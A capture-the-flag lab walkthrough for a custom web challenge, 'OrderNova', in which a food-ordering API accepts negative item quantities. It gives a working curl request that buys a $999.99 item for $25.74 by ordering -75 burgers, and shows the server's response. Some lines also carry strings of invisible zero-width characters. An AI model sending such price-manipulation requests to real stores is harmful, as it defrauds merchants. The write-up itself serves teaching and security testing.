Lab 61 — OrderNova — Negative Quantity Price Manipulation

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_manipulation, business_logic_bypass, negative_quantity_exploitation, server_side_validation_bypass

Summary

Walkthrough of the CUSTOM Web Lab 61 — OrderNova — Negative Quantity Price Manipulation. Task: E-commerce food ordering platform with wallet balance, premium item costs more than available funds. Solution: Bypassed client-side validation by sending negative quantity via API to offset tota

Description

OrderNova is an online food ordering platform used by restaurants to manage their digital menus and process customer orders. The platform features a full menu catalog with multiple categories (Burgers, Sides, Drinks, Desserts, and Premium), a shopping cart system, order history tracking, and user accounts with prepaid wallet balances.

There is a special premium item on the menu — the Golden Feast Bundle ($999.99) — that promises an exclusive reward code upon purchase. However, your wallet balance is only $50.00, which is far short of the price.

Your goal is to find a way to obtain the reward code hidden in the Golden Feast Bundle. Look carefully at how the ordering system processes your requests — sometimes the server trusts client input more than it should.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An e-commerce food ordering platform with a premium item ($999.99) containing a reward code. The user has only $50 wallet balance. The goal is to purchase the premium item despite insufficient funds.

Analysis

The application is built on Express/Node.js with client-side cart management stored in localStorage. Key findings:

1. Client-side validation only: The JavaScript in /js/checkout.js restricts quantity to 1-99 using Math.max(1, Math.min(99, val))
2. API endpoint discovered: POST /api/orders accepts JSON body with items array: {"items": [{"id": <item_id>, "quantity": <qty>}]}
3. Server-side gap: The backend does NOT validate that quantity values are positive integers
4. Price calculation vulnerability: Total is calculated as sum(price × quantity) — negative quantities result in negative subtotals ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key item IDs:

• Golden Feast Bundle (ID 17): $999.99
• Classic Burger (ID 1): $12.99

Solution

Step 1: Reconnaissance

Logged in with provided credentials and explored the application structure. Found the checkout API endpoint by examining /js/checkout.js.

Step 2: Calculate Required Offset

To bring the total under $50:

• Golden Feast Bundle: $999.99 × 1 = $999.99
• Need to offset at least $949.99
• Using Classic Burger at $12.99: need at least 74 negative burgers
• $12.99 × 75 = $974.25 offset ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final calculation:

• $999.99 - $974.25 = $25.74 (under $50 wallet balance)

Step 3: Exploit

Bypassed client-side validation by sending the request directly via curl:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "https://[target]/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"items":[{"id":17,"quantity":1},{"id":1,"quantity":-75}]}'

Step 4: Result

The server accepted the order and returned the reward code:

 json read-only • copy allowed Copy
{
  "success": true,
  "order_id": 24,
  "total": 25.74,
  "rewards": [
    {
      "item": "Golden Feast Bundle",
      "reward_code": "FLAG{REDACTED}"
    }
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering api_manipulation, business_logic_bypass, negative_quantity_exploitation, server_side_validation_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-26 • CUSTOM • Lab 61 — OrderNova — Negative Quantity Price Manipulation • Difficulty: Easy